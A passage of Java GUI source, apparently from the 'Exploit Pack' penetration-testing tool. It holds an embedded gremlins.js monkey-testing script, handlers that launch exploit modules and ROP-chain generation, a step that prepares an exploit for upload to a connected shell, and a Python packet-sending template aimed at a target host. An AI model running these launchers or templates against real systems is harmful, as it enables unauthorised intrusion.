n=e.attributes[\"data-old-border\"];e.style.border=\"1px solid red\",setTimeout(function(){e.style.border=n},500)}function t(){return!0}function r(){if(!p.randomizer)throw new a;var e=[];for(var n in p.elementMapTypes)p.elementMapTypes.hasOwnProperty(n)&&e.push(n);var t,r=0;do{var i=h.querySelectorAll(e.join(\",\"));if(0===i.length)return!1;if(t=p.randomizer.pick(i),r++,r>p.maxNbTries)return!1}while(!t||!p.canFillElement(t));var o=null;for(var s in p.elementMapTypes)if(m(t,s)){o=s;break}var l=p.elementMapTypes[o](t);\"function\"==typeof p.showAction&&p.showAction(t),p.logger&&\"function\"==typeof p.logger.log&&p.logger.log(\"gremlin\",\"formFiller\",\"input\",l,\"in\",t)}function i(e){var n=p.randomizer.character();return e.value+=n,n}function o(e){var n=p.randomizer.character({pool:\"0123456789\"});return e.value+=n,n}function s(e){var n=e.querySelectorAll(\"option\");if(0!==n.length){for(var t=p.randomizer.pick(n),a=0,r=n.length;r>a;a++){var i=n[a];i.selected=i.value==t.value}return t.value}}function l(e){var n=h.createEvent(\"MouseEvents\");return n.initMouseEvent(\"click\",!0,!0,window,0,0,0,0,0,!1,!1,!1,!1,0,null),e.dispatchEvent(n),e.value}function u(e){var n=h.createEvent(\"MouseEvents\");return n.initMouseEvent(\"click\",!0,!0,window,0,0,0,0,0,!1,!1,!1,!1,0,null),e.dispatchEvent(n),e.value}function c(e){var n=p.randomizer.email();return e.value=n,n}function m(e,n){if(e.webkitMatchesSelector)m=function(e,n){return e.webkitMatchesSelector(n)};else if(e.mozMatchesSelector)m=function(e,n){return e.mozMatchesSelector(n)};else if(e.msMatchesSelector)m=function(e,n){return e.msMatchesSelector(n)};else{if(!e.oMatchesSelector)throw new Error(\"Unsupported browser\");m=function(e,n){return e.oMatchesSelector(n)}}return m(e,n)}var h=window.document,d={textarea:i,\'input[type=\"text\"]\':i,\'input[type=\"password\"]\':i,\'input[type=\"number\"]\':o,select:s,\'input[type=\"radio\"]\':l,\'input[type=\"checkbox\"]\':u,\'input[type=\"email\"]\':c,\"input:not([type])\":i},p={elementMapTypes:d,showAction:e,canFillElement:t,maxNbTries:10,logger:null,randomizer:null};return n(r,p),r}}.call(n,t,n,e),!(void 0!==a&&(e.exports=a))},function(e,n,t){var a;a=function(e){\"use strict\";var n=t(1),a=(t(2),t(3));return function(){function e(){var e=Math.max(s.scrollWidth,s.offsetWidth,o.scrollWidth,o.offsetWidth,o.clientWidth),n=Math.max(s.scrollHeight,s.offsetHeight,o.scrollHeight,o.offsetHeight,o.clientHeight);return[l.randomizer.natural({max:e-o.clientWidth}),l.randomizer.natural({max:n-o.clientHeight})]}function t(e,n){var t=i.createElement(\"div\");t.style.zIndex=2e3,t.style.border=\"3px solid red\",t.style.width=o.clientWidth-25+\"px\",t.style.height=o.clientHeight-25+\"px\",t.style.position=\"absolute\",t.style.webkitTransition=\"opacity 1s ease-out\",t.style.mozTransition=\"opacity 1s ease-out\",t.style.transition=\"opacity 1s ease-out\",t.style.left=e+10+\"px\",t.style.top=n+10+\"px\";var a=s.appendChild(t);setTimeout(function(){s.removeChild(a)},1e3),setTimeout(function(){a.style.opacity=0},50)}function r(){if(!l.randomizer)throw new a;var e=l.positionSelector(),n=e[0],t=e[1];window.scrollTo(n,t),\"function\"==typeof l.showAction&&l.showAction(n,t),\"function\"==typeof l.logger.log&&l.logger.log(\"gremlin\",\"scroller  \",\"scroll to\",n,t)}var i=window.document,o=i.documentElement,s=i.body,l={positionSelector:e,showAction:t,logger:null,randomizer:null};return n(r,l),r}}.call(n,t,n,e),!(void 0!==a&&(e.exports=a))},function(e,n,t){var a;a=function(e){\"use strict\";var n=t(1),a=(t(2),t(3));return function(){function e(){return[h.randomizer.natural({max:u.documentElement.clientWidth-1}),h.randomizer.natural({max:u.documentElement.clientHeight-1})]}function t(e){var n=u.createDocumentFragment();e.forEach(function(e){var t=u.createElement(\"div\");t.style.zIndex=2e3,t.style.background=\"red\",t.style[\"border-radius\"]=\"50%\",t.style.borderRadius=\"50%\",t.style.width=\"20px\",t.style.height=\"20px\",t.style.position=\"absolute\",t.style.webkitTransition=\"opacity .5s ease-out\",t.style.mozTransition=\"opacity .5s ease-out\",t.style.transition=\"opacity .5s ease-out\",t.style.left=e.x-10+\"px\",t.style.top=e.y-10+\"px\";var a=n.appendChild(t);setTimeout(function(){c.removeChild(a)},500),setTimeout(function(){a.style.opacity=0},50)}),u.body.appendChild(n)}function r(){return!0}function i(e,n,t,a){var r,i,o,s=e[0],l=e[1],u=[];if(1===n)return[{x:s,y:l}];for(t=t||100,a=null!==a?a*Math.PI/180:0,r=2*Math.PI/n,i=0;n>i;i++)o=r*i+a,u.push({x:s+t*Math.cos(o),y:l+t*Math.sin(o)});return u}function o(e,n,t){var a=[],r=u.createEvent(\"Event\");r.initEvent(\"touch\"+t,!0,!0),a.identifiedTouch=a.item=function(e){return this[e]||{}},e.forEach(function(e,t){var r=Math.round(e.x),i=Math.round(e.y);a.push({pageX:r,pageY:i,clientX:r,clientY:i,screenX:r,screenY:i,target:n,identifier:t})}),r.touches=\"end\"==t?[]:a,r.targetTouches=\"end\"==t?[]:a,r.changedTouches=a,n.dispatchEvent(r),h.showAction(e)}function s(e,n,t,a,r){function s(){var m=a.radius;1!==a.scale&&(m=a.radius-a.radius*(1-a.scale)*(1/u)*c);var h=n[0]+a.distanceX/u*c,d=n[1]+a.distanceY/u*c,p=\"number\"==typeof a.rotation?a.rotation/u*c:null,f=i([h,d],t.length,m,p),y=1==c,b=c==u;if(y)o(f,e,\"start\");else{if(b)return o(f,e,\"end\"),r(f);o(f,e,\"move\")}setTimeout(s,l),c++}var l=10,u=Math.ceil(a.duration/l),c=1;s()}function l(e){function n(n,t){\"function\"==typeof h.showAction&&h.showAction(n),h.logger&&\"function\"==typeof h.logger.log&&h.logger.log(\"gremlin\",\"toucher   \",l,\"at\",r,i,t),e()}if(!h.randomizer)throw new a;var t,r,i,o,s=0;do if(t=h.positionSelector(),r=t[0],i=t[1],o=u.elementFromPoint(r,i),s++,s>h.maxNbTries)return;while(!o||!h.canTouch(o));var l=h.randomizer.pick(h.touchTypes);d[l](t,o,n)}var u=window.document,c=u.body,m=[\"tap\",\"tap\",\"tap\",\"doubletap\",\"gesture\",\"gesture\",\"gesture\",\"multitouch\",\"multitouch\"],h={touchTypes:m,positionSelector:e,showAction:t,canTouch:r,maxNbTries:10,logger:null,randomizer:null,maxTouches:2},d={tap:function(e,n,t){var a=i(e,1),r={duration:h.randomizer.integer({min:20,max:700})};o(a,n,\"start\"),setTimeout(function(){o(a,n,\"end\"),t(a,r)},r.duration)},doubletap:function(e,n,t){d.tap(e,n,function(){setTimeout(function(){d.tap(e,n,t)},30)})},gesture:function p(e,n,t){var p={distanceX:h.randomizer.integer({min:-100,max:200}),distanceY:h.randomizer.integer({min:-100,max:200}),duration:h.randomizer.integer({min:20,max:500})},a=i(e,1,p.radius);s(n,e,a,p,function(e){t(e,p)})},multitouch:function(e,n,t){var a=h.randomizer.integer({min:2,max:h.maxTouches}),r={scale:h.randomizer.floating({min:0,max:2}),rotation:h.randomizer.natural({min:-100,max:100}),radius:h.randomizer.integer({min:50,max:200}),distanceX:h.randomizer.integer({min:-20,max:20}),distanceY:h.randomizer.integer({min:-20,max:20}),duration:h.randomizer.integer({min:100,max:1500})},o=i(e,a,r.radius);s(n,e,o,r,function(e){t(e,r)})}};return n(l,h),l}}.call(n,t,n,e),!(void 0!==a&&(e.exports=a))},function(e,n,t){var a;a=function(e){\"use strict\";var n=t(1),a=(t(2),t(3));return function(){function e(){return c.randomizer.natural({min:3,max:254})}function t(e,n){return o.elementFromPoint(e,n)}function r(e,n,t,a){var r=o.createElement(\"div\");r.style.zIndex=2e3,r.style.border=\"3px solid orange\",r.style[\"border-radius\"]=\"50%\",r.style.borderRadius=\"50%\",r.style.width=\"40px\",r.style.height=\"40px\",r.style[\"box-sizing\"]=\"border-box\",r.style.position=\"absolute\",r.style.webkitTransition=\"opacity 1s ease-out\",r.style.mozTransition=\"opacity 1s ease-out\",r.style.transition=\"opacity 1s ease-out\",r.style.left=n+\"px\",r.style.top=t+\"px\",r.style.textAlign=\"center\",r.style.paddingTop=\"7px\",r.innerHTML=String.fromCharCode(a);var i=l.appendChild(r);setTimeout(function(){l.removeChild(i)},1e3),setTimeout(function(){i.style.opacity=0},50)}function i(){if(!c.randomizer)throw new a;var e=o.createEventObject?o.createEventObject():o.createEvent(\"Events\"),n=c.randomizer.pick(c.eventTypes),t=c.keyGenerator(),r=c.randomizer.natural({max:s.clientWidth-1}),i=c.randomizer.natural({max:s.clientHeight-1}),l=c.targetElement(r,i);e.initEvent&&e.initEvent(n,!0,!0),e.keyCode=t,e.which=t,e.keyCodeVal=t,l.dispatchEvent?l.dispatchEvent(e):l.fireEvent(\"on\"+n,e),\"function\"==typeof c.showAction&&c.showAction(l,r,i,t),c.logger&&\"function\"==typeof c.logger.log&&c.logger.log(\"gremlin\",\"typer       type\",String.fromCharCode(t),\"at\",r,i)}var o=window.document,s=o.documentElement,l=o.body,u=[\"keypress\",\"keyup\",\"keydown\"],c={eventTypes:u,showAction:r,keyGenerator:e,targetElement:t,logger:null,randomizer:null};return n(i,c),i}}.call(n,t,n,e),!(void 0!==a&&(e.exports=a))},function(e,n,t){var a;a=function(e){\"use strict\";var n=t(4),a=t(1);return function(){function e(e,a,s){function l(t){n(e,[],m,t)}function u(e){return r?void 0:e>=c?t():void l(function(){setTimeout(function(){u(++e)},o.delay)})}var c=a&&a.nb?a.nb:o.nb,m=this;r=!1,i=s,u(0)}function t(){\"function\"==typeof i&&i(),i=null}var r,i,o={delay:10,nb:100};return e.stop=function(){r=!0,setTimeout(t,4)},a(e,o),e}}.call(n,t,n,e),!(void 0!==a&&(e.exports=a))},function(e,n,t){var a;a=function(e){\"use strict\";var n=t(4),a=t(1);return function(){function e(e,a,s){function l(e,t,a){return r?void 0:t>=c?a():void n([e],[],m,function(){setTimeout(function(){l(e,++t,a)},o.delay)})}function u(){return r?void 0:0===e.length?t():void l(e.shift(),0,u)}var c=a&&a.nb?a.nb:o.nb,e=e.slice(0),m=this;r=!1,i=s,u()}function t(){\"function\"==typeof i&&i(),i=null}var r,i,o={delay:10,nb:200};return e.stop=function(){r=!0,setTimeout(t,4)},a(e,o),e}}.call(n,t,n,e),!(void 0!==a&&(e.exports=a))},function(e,n,t){var a;a=function(e){\"use strict\";var n=t(4),a=t(1),r=t(2);return function(){function e(e,a,r){function c(t,a,r){return s?void 0:a>=m?o():void n([t],[],d,function(){setTimeout(function(){c(i(e,h),++a,r)},u.delay)})}var m=a&&a.nb?a.nb:u.nb,e=e.slice(0),h=0===u.distribution.length?t(e):u.distribution,d=this;return 0===m?r():(s=!1,l=r,void c(i(e,h),0,c))}function t(e){var n=e.length;if(0===n)return[];for(var t=[],a=1/n,r=0;n>r;r++)t.push(a);return t}function i(e,n){for(var t=0,a=u.randomizer.floating({min:0,max:1}),r=0,i=e.length;i>r;r++)if(t+=n[r],t>=a)return e[r];return function(){}}function o(){\"function\"==typeof l&&l(),l=null}var s,l,u={distribution:[],delay:10,nb:1e3,randomizer:new r};return e.stop=function(){s=!0,setTimeout(o,4)},a(e,u),e}}.call(n,t,n,e),!(void 0!==a&&(e.exports=a))}])});");
                jTextAreaModuleEditor.append("\ngremlins.createHorde().unleash();");
                jButtonExecution.doClick();
                return;
            }
            // Normal behavior
            String OS = null;
            OS = System.getProperty("os.name");
            String Switch = OS;
            if (Switch.contains("Windows")) {
                runModule = "cmd.exe /c cd %temp% & cmd.exe /c start powershell.exe -NoExit /c  " + pythonpath + " " + Paths.get(".").toAbsolutePath().normalize().toString() + "/exploits/code/" + exploit.getCodeName();
            }
            if (Switch.equals("Linux")) {
                runModule = "xterm -T ExploitPack -geometry 200x80+0+900 -bg black -fg green -hold -e " + pythonpath + " " + Paths.get(".").toAbsolutePath().normalize().toString() + "/exploits/code/" + exploit.getCodeName();
            }
            if (Switch.contains("Mac")) {
                runModule = "open -a Terminal " + pythonpath + " " + Paths.get(".").toAbsolutePath().normalize().toString() + "/exploits/code/" + exploit.getCodeName();
            }
            Runtime.getRuntime().exec(runModule);
        } catch (Exception ex) {
            Logger.getLogger(MainFrame.class.getName()).log(Level.SEVERE, null, ex);
        }
    }//GEN-LAST:event_jButton18ActionPerformed

    private void jButton19ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButton19ActionPerformed
        // TODO add your handling code here:
        Preferences.main(null);
    }//GEN-LAST:event_jButton19ActionPerformed

    private void jButton20ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButton20ActionPerformed
        // TODO add your handling code here:
        // TODO add your handling code here:
        File file = new File("output/exploitUpload");

        try (FileWriter fileWriter = new FileWriter(file)) {
            fileWriter.write(jTextAreaModuleEditor.getText());

        } catch (IOException e) {
            Logger.getLogger(MainFrame.class
                    .getName()).log(Level.SEVERE, null, e);
        }
        JOptionPane.showMessageDialog(null, "Exploit ready to upload, please connect to your shell.", "Exploit Pack says:", JOptionPane.INFORMATION_MESSAGE);
    }//GEN-LAST:event_jButton20ActionPerformed

    private void jButton29ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButton29ActionPerformed
        String filename = "";
        JFileChooser fileChooser = new JFileChooser(new File(filename));
        fileChooser.showSaveDialog(this);
        runModule = pythonpath + " " + Paths.get(".").toAbsolutePath().normalize().toString() + "/data/ROPgadget.py --binary " + fileChooser.getSelectedFile().toString() + " --ropchain";
        final Thread exploitThread;
        exploitThread = new Thread("exploitThread") {
            @Override
            public void run() {
                try {
                    String line;
                    OutputStream stdin = null;
                    InputStream stderr = null;
                    InputStream stdout = null;

                    // launch EXE and grab stdin/stdout and stderr
                    Process process = Runtime.getRuntime().exec(runModule);
                    stdin = process.getOutputStream();
                    stderr = process.getErrorStream();
                    stdout = process.getInputStream();

                    // "write" the parms into stdin
                    //stdin.write(line.getBytes());
                    stdin.flush();
                    stdin.close();

                    // Obtain local time
                    Format formatter;
                    Date date = new Date();
                    formatter = new SimpleDateFormat("HH:mm:ss");
                    LogTime = formatter.format(date);
                    jTextAreaShellcode.append("[" + LogTime + "]" + " Your command: " + " ROP Chain Generator " + " has been executed.\n");
                    jTextAreaShellcode.append("[" + LogTime + "]" + " Output messages from your module: Generating ROP Chain..\n");

                    // clean up if any output in stdout
                    BufferedReader brCleanUp
                            = new BufferedReader(new InputStreamReader(stdout));
                    while ((line = brCleanUp.readLine()) != null) {
                        jTextAreaModuleEditor.append(line + "\n");
                    }
                    brCleanUp.close();

                    // clean up if any output in stderr
                    brCleanUp
                            = new BufferedReader(new InputStreamReader(stderr));
                    while ((line = brCleanUp.readLine()) != null) {
                        jTextAreaShellcode.append(line + "\n");
                    }

                    jTextAreaModuleEditor.setCaretPosition(0);
                    brCleanUp.close();

                } catch (Exception e) {
                    e.printStackTrace();
                }
            }
        };
        jProgressBarModuleStatus.setValue(100);
        exploitThread.start();
    }//GEN-LAST:event_jButton29ActionPerformed

    private void jButton28ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButton28ActionPerformed
        // TODO add your handling code here:
        jTextAreaModuleEditor.setText("");
    }//GEN-LAST:event_jButton28ActionPerformed

    private void jButton17ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButton17ActionPerformed
        // TODO add your handling code here:
        File file = new File("exploits/code/" + exploit.getCodeName());

        try (FileWriter fileWriter = new FileWriter(file)) {
            fileWriter.write(jTextAreaModuleEditor.getText());

        } catch (IOException e) {
            Logger.getLogger(MainFrame.class
                    .getName()).log(Level.SEVERE, null, e);
        }
    }//GEN-LAST:event_jButton17ActionPerformed

    private void jButton27ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButton27ActionPerformed
        // TODO add your handling code here:
        ExploitWizardEditor.main(exploit);
    }//GEN-LAST:event_jButton27ActionPerformed

    private void jButton16ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButton16ActionPerformed
        // TODO add your handling code here:

        String newExploit = "# Exploit developed using Exploit Pack" + "\n\r";
        newExploit += "# Name: Author - Email: youremail@domain" + "\n\r";
        newExploit += "# ADD YOUR CODE BELOW THIS LINE" + "\n\r";
        jTextAreaModuleEditor.setText(newExploit);
        jTextAreaModuleEditor.setCaretPosition(0);
        ExploitWizard.main(null);
    }//GEN-LAST:event_jButton16ActionPerformed

    private void jTextFieldExtraOptionsActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jTextFieldExtraOptionsActionPerformed
        // TODO add your handling code here:
    }//GEN-LAST:event_jTextFieldExtraOptionsActionPerformed

    private void jTextFieldExtraOptionsMouseClicked(java.awt.event.MouseEvent evt) {//GEN-FIRST:event_jTextFieldExtraOptionsMouseClicked
        // TODO add your handling code here:
        jTextFieldExtraOptions.setText("");
    }//GEN-LAST:event_jTextFieldExtraOptionsMouseClicked

    private void jTextFieldTargetPMouseClicked(java.awt.event.MouseEvent evt) {//GEN-FIRST:event_jTextFieldTargetPMouseClicked
        // TODO add your handling code here:
        jTextFieldTargetP.setText("");
    }//GEN-LAST:event_jTextFieldTargetPMouseClicked

    private void jTextFieldTargetHMouseClicked(java.awt.event.MouseEvent evt) {//GEN-FIRST:event_jTextFieldTargetHMouseClicked
        // TODO add your handling code here:
        if (jTextFieldTargetH.getText().contains("127.0.0.1")) {
            jTextFieldTargetH.setText("");
        }
    }//GEN-LAST:event_jTextFieldTargetHMouseClicked

    private void jMenuItem22ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jMenuItem22ActionPerformed
        // TODO add your handling code here:
        if (!SplashScreen.filepath) {
            JOptionPane.showMessageDialog(null, "Sorry, this feature it's only available on the Premium version.\nGet your license now from: http://exploitpack.com", "Exploit Pack says:", JOptionPane.INFORMATION_MESSAGE);
            return;
        }
        String[] hexa = new String[1];
        hexa[0] = "ExploitPack.jar";
        UI.main(hexa);

    }//GEN-LAST:event_jMenuItem22ActionPerformed

    private void jMenuItem46ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jMenuItem46ActionPerformed
        // TODO add your handling code here:
        StartListener.main(null);
    }//GEN-LAST:event_jMenuItem46ActionPerformed

    private void jButtonFuzzer1MouseClicked(java.awt.event.MouseEvent evt) {//GEN-FIRST:event_jButtonFuzzer1MouseClicked
        // TODO add your handling code here:
    }//GEN-LAST:event_jButtonFuzzer1MouseClicked

    private void jButtonFuzzer1ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButtonFuzzer1ActionPerformed
        // TODO add your handling code here:
        if (!SplashScreen.filepath) {
            return;
        }
        jTabbedPane.setSelectedIndex(0);
        jTextAreaModuleEditor.setText("import binascii\n"
                + "import sys\n"
                + "import socket\n"
                + "import time\n"
                + " \n"
                + "def newFuzzerSession(target,port):\n"
                + "    try:\n"
                + "        while 1:\n"
                + "            # Open socket\n"
                + "            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n"
                + "            # Set reuse ON\n"
                + "            s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n"
                + "            # Bind port\n"
                + "            s.connect((target, port))\n"
                + "            print(\"[\" + time.strftime('%a %H:%M:%S') + \"]\" + \" - \" + \"Connected to:\"), target, port\n"
                + "            print(\"[\" + time.strftime('%a %H:%M:%S') + \"]\" + \" - \" + \"Establishing connection.. \")\n"
                + "            # Replace the following package!\n"
                + "			packet =\n"
                + "binascii.unhexlify(b'450002c50001000040067a307f0000017f000001001407d00000000000000000500220009a2b0000e4eea8a72a97467d3631824ac1c08c604e762eb80af46cc6d219a4cf65c13992b4a8af94cb5e87c14faf0254cba25af9fb33bd8d2a58e370e3a866639dfdec350875cfecfe068a16746963fffeee0fdcbac75eb4f09d625f3ae1b4a3eb2812e6f838e88b0d7d9881465a0faf45664df8008d4d6de1a5e20a9c97a71f57d3429e0b17db3aeb3bf516ca4e207a5c801d04132979508f267c7425a57fd0edd271b57ff9831b595b519e73404f170492ae3ad438d4aeca854e96c9dd56d2af3813b8de6b3d8d31d32c0e95be9cb3a5c6106f64c4f19cda2b55ad1471f3d63e1b1ca3c29f362def063ad9b29ea4d1c1fda5c2e4cf0ae75064c27411a2deb5fab11e6412cd5a4037f38779f0173fa1f2ca1740aa78fe37bc0a50f5619c7abba00f2957bf06770ff4d6c003d4533de19f51bcbbd9bbe0ceb3e17dd180e58ee2698998edca42e3d6a8079cc151b608e5bd5aff052e718e714b360f9b091894a5eeed34dafe41d27f19988b3e0ac5a6dd8947c3537ae31154e983cdbac0861afc500206e74030c9e452738ece13075df2dbebb8a1737ee3b4880bc6d428ee2d3d64f585e197dc63f30638a4c55cff0b8e6aa82dfdf199baabd92c10092414015fad5f08e9c816a4d028574ee5340c08b2fe65ca1e7ca907ea2ebd6661e01e9b9d39d5bdb3e3cebd58e96f97f487bb580bcf5447ac48a2ad5541ae0ddcc9ec1f9528f2c07316dbd760e91e3bddbd53fbf6987fdba0830bdb485524950b5611e18e5d517c0f3ae05aa2daec42a5c43eab07aa0018ab750dc6995adad6561cc8a0379f7a12d8e5e474df013459442801d6871c5820318d790833687619b70b0da74893ca441f177ab9e7d7a537c6ff4920c79631905c35167d8a6efc0c6bced9270691abc5b4de84f956f8c1d34f9ef3f0073dafce8c076c4d537e981a1e8ff6ed3e8c')\n"
                + " \n"
                + "            # Log the packet in hexa and timestamp\n"
                + "            fileLog = target + \".log\"\n"
                + "            logPacket = open(fileLog, \"w+\")\n"
                + "            logPacket.write(\"[\"+time.strftime('%a %H:%M:%S')+\"]\"+ \" - Packet sent: \" + binascii.hexlify(bytes(packet))+\"\\n\")\n"
                + "            logPacket.close()\n"
                + " \n"
                + "            # Write bytecodes to socket\n"
                + "            print(\"[\"+time.strftime('%a %H:%M:%S')+\"]\"+\" - \"+\"Packet sent: \")\n"
                + "            s.send(bytes(packet))\n"
                + "            # Packet sent:\n"
                + "            print(bytes(packet))\n"
                + "            try:\n"
                + "                data = s.recv(4096)\n"
                + "                print(\"[\" + time.strftime('%a %H:%M:%S') + \"]\" + \" - \"+ \"Data received: '{msg}'\".format(msg=data))\n"
                + "            except socket.error, e:\n"
                + "                print 'Sorry, No data available'\n"
                + "                continue\n"
                + "        s.close()\n"
                + "    except socket.error as error:\n"
                + "        print error\n"
                + "        print \"Sorry, something went wrong!\"\n"
                + " \n"
                + "def howtouse():\n"
                + "    print \"Exploit created using Exploit Pack!\"\n"
                + "    print \"[*] Mandatory arguments:\"\n"
                + "    print \"[-] Specify a hostname / port\"\n"
                + "    sys.exit(-1)\n"
                + " \n"
                + "if __name__ == \"__main__\":\n"
                + "    try:\n"
                + "        # Set target\n"
                + "        target = sys.argv[1]\n"
                + "        port = int(sys.argv[2])\n"
                + " \n"
                + "        print \"[*] Exploit Remote by Exploit Pack\"\n"
                + "        newFuzzerSession(target, port)\n"
                + "    except IndexError:\n"
                + "        howtouse()");
    }//GEN-LAST:event_jButtonFuzzer1ActionPerformed

    private void jButton35ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButton35ActionPerformed
        // TODO add your handling code here:

        String url = "https://join.slack.com/t/exploitpack/shared_invite/enQtNDc2NDkxNDI0MDQ4LTA5M2VkMDU3NTVkZmI4MmMyYjU0NTZkNDI4MTJjNjg1MGE4NjNkMjNhZGQyMTgxYTQzYWU1YTYwNTExNDZiNjc";
        try {
            Desktop.getDesktop().browse(java.net.URI.create(url));

        } catch (IOException ex) {
            Logger.getLogger(MainFrame.class
                    .getName()).log(Level.SEVERE, null, ex);
        }

        // TutorialOverflow.main(null);
    }//GEN-LAST:event_jButton35ActionPerformed

    private void jMenuItem55ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jMenuItem55ActionPerformed
        // TODO add your handling code here:
        ImportModule.main(null);

    }//GEN-LAST:event_jMenuItem55ActionPerformed

    private void jTextFieldUTFMouseClicked(java.awt.event.MouseEvent evt) {//GEN-FIRST:event_jTextFieldUTFMouseClicked
        // TODO add your handling code here:
    }//GEN-LAST:event_jTextFieldUTFMouseClicked

    private void jTextFieldUTFActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jTextFieldUTFActionPerformed
        // TODO add your handling code here:
    }//GEN-LAST:event_jTextFieldUTFActionPerformed

    private void jButton37ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButton37ActionPerformed
        // TODO add your handling code here:
        // TODO add your handling code here:
        if (!SplashScreen.filepath) {
            return;
        }
        Thread fuzzThread = null;
        DefaultCaret caret = (DefaultCaret) jTextAreaFuzzerLog.getCaret();
        caret.setUpdatePolicy(ALWAYS_UPDATE);

        fuzzThread = new Thread("fuzzThread") {
            @Override
            public void run() {
                try {
                    DefaultTreeModel modelStatus = (DefaultTreeModel) jTreeModuleStatus.getModel();
                    DefaultMutableTreeNode rootStatus = (DefaultMutableTreeNode) modelStatus.getChild(modelStatus.getRoot(), 0);
                    rootStatus.add(new DefaultMutableTreeNode("UTF-Locator"));
                    jTreeModuleStatus.expandRow(0);
                    modelStatus.reload(rootStatus);
                    String line;
                    OutputStream stdin = null;
                    InputStream stderr = null;
                    InputStream stdout = null;

                    String OS = null;
                    String readLog = null;
                    OS = System.getProperty("os.name");
                    String Switch = OS;
                    if (Switch.contains("Windows")) {
                        runModule = "cmd.exe /c cd %temp% & cmd.exe /c start powershell.exe -NoExit /c  " + pythonpath + " " + Paths.get(".").toAbsolutePath().normalize().toString() + "/data/" + "UTFLocator.py" + " " + jTextFieldUTFAmount.getText();
                    }
                    if (Switch.equals("Linux")) {
                        runModule = "xterm -T UTFLocator -geometry 200x80+0+900 -bg black -fg green -hold -e " + pythonpath + " " + Paths.get(".").toAbsolutePath().normalize().toString() + "/data/" + "UTFLocator.py " + " " + jTextFieldUTFAmount.getText();
                    }
                    if (Switch.contains("Mac")) {
                        runModule = "/usr/bin/open -a Terminal " + pythonpath + " " + Paths.get(".").toAbsolutePath().normalize().toString() + "/data/" + "UTFLocator.py " + " " + jTextFieldUTFAmount.getText();
                    }
                    Runtime.getRuntime().exec(runModule);
                    // Sleep before opening the log
                    Thread.sleep(1000);
                    if (Switch.contains("Windows")) {
                        readLog = "cmd.exe /c cd %temp% && powershell.exe /c Get-Content -Path \"$env:temp\\" + "utflocator.txt -Wait";
                        Runtime.getRuntime().exec("cmd.exe /c cd %temp% && notepad utflocator.txt");
                    }
                    if (Switch.equals("Linux")) {
                        readLog = "tail -f " + "utflocator.txt";
                        Runtime.getRuntime().exec("xterm -T ExploitPack -geometry 200x80+0+900 -bg black -fg green -hold -e cat utflocator.txt");
                    }
                    if (Switch.contains("Mac")) {
                        readLog = "tail -f " + "utflocator.log";
                        Runtime.getRuntime().exec("open -a Terminal cat utflocator.txt");
                    }
                    processFuzzer = Runtime.getRuntime().exec(readLog);
                    stdin = processFuzzer.getOutputStream();
                    stderr = processFuzzer.getErrorStream();
                    stdout = processFuzzer.getInputStream();

                    // "write" the parms into stdin
                    //stdin.write(line.getBytes());
                    stdin.flush();
                    stdin.close();

                    // Obtain local time
                    Format formatter;
                    Date date = new Date();
                    formatter = new SimpleDateFormat("HH:mm:ss");
                    LogTime = formatter.format(date);
                    jTextAreaUTFResults.append("[" + LogTime + "]" + " Your UTF-Locator is being created.\n");
                    jTextAreaUTFResults.append("[" + LogTime + "]" + " Locator saved as: utflocator.txt\" \n");
                    // clean up if any output in stdout
                    BufferedReader brCleanUp
                            = new BufferedReader(new InputStreamReader(stdout));
                    while ((line = brCleanUp.readLine()) != null) {
                        jTextAreaUTFResults.append(line + "\n");
                        //jTextAreaFuzzerLog.setCaretPosition(jTextAreaFuzzerLog.getDocument().getLength());
                    }
                    brCleanUp.close();
                    jTextAreaUTFResults.append(jTextFieldUTF.getText());
                    // clean up if any output in stderr
                    brCleanUp
                            = new BufferedReader(new InputStreamReader(stderr));
                    while ((line = brCleanUp.readLine()) != null) {
                        jTextAreaUTFResults.append(line + "\n");
                        //  jTextAreaFuzzerLog.setCaretPosition(jTextAreaFuzzerLog.getDocument().getLength());
                    }

                    brCleanUp.close();

                } catch (Exception e) {
                    e.printStackTrace();
                }
            }
        };
        jProgressBarModuleStatus.setValue(100);
        fuzzThread.start();
    }//GEN-LAST:event_jButton37ActionPerformed

    private void jMenuItem56ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jMenuItem56ActionPerformed
        // TODO add your handling code here:
        String url = "http://pwnable.tw/";
        try {
            Desktop.getDesktop().browse(java.net.URI.create(url));

        } catch (IOException ex) {
            Logger.getLogger(MainFrame.class
                    .getName()).log(Level.SEVERE, null, ex);
        }
    }//GEN-LAST:event_jMenuItem56ActionPerformed

    private void jMenuItem64ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jMenuItem64ActionPerformed
        // TODO add your handling code here:
        String url = "https://picoctf.com/";
        try {
            Desktop.getDesktop().browse(java.net.URI.create(url));

        } catch (IOException ex) {
            Logger.getLogger(MainFrame.class
                    .getName()).log(Level.SEVERE, null, ex);
        }
    }//GEN-LAST:event_jMenuItem64ActionPerformed

    private void jMenuItem68ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jMenuItem68ActionPerformed
        // TODO add your handling code here:
        String url = "http://vulnhub.com/";
        try {
            Desktop.getDesktop().browse(java.net.URI.create(url));

        } catch (IOException ex) {
            Logger.getLogger(MainFrame.class
                    .getName()).log(Level.SEVERE, null, ex);
        }
    }//GEN-LAST:event_jMenuItem68ActionPerformed

    private void jMenuItem71ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jMenuItem71ActionPerformed
        // TODO add your handling code here:
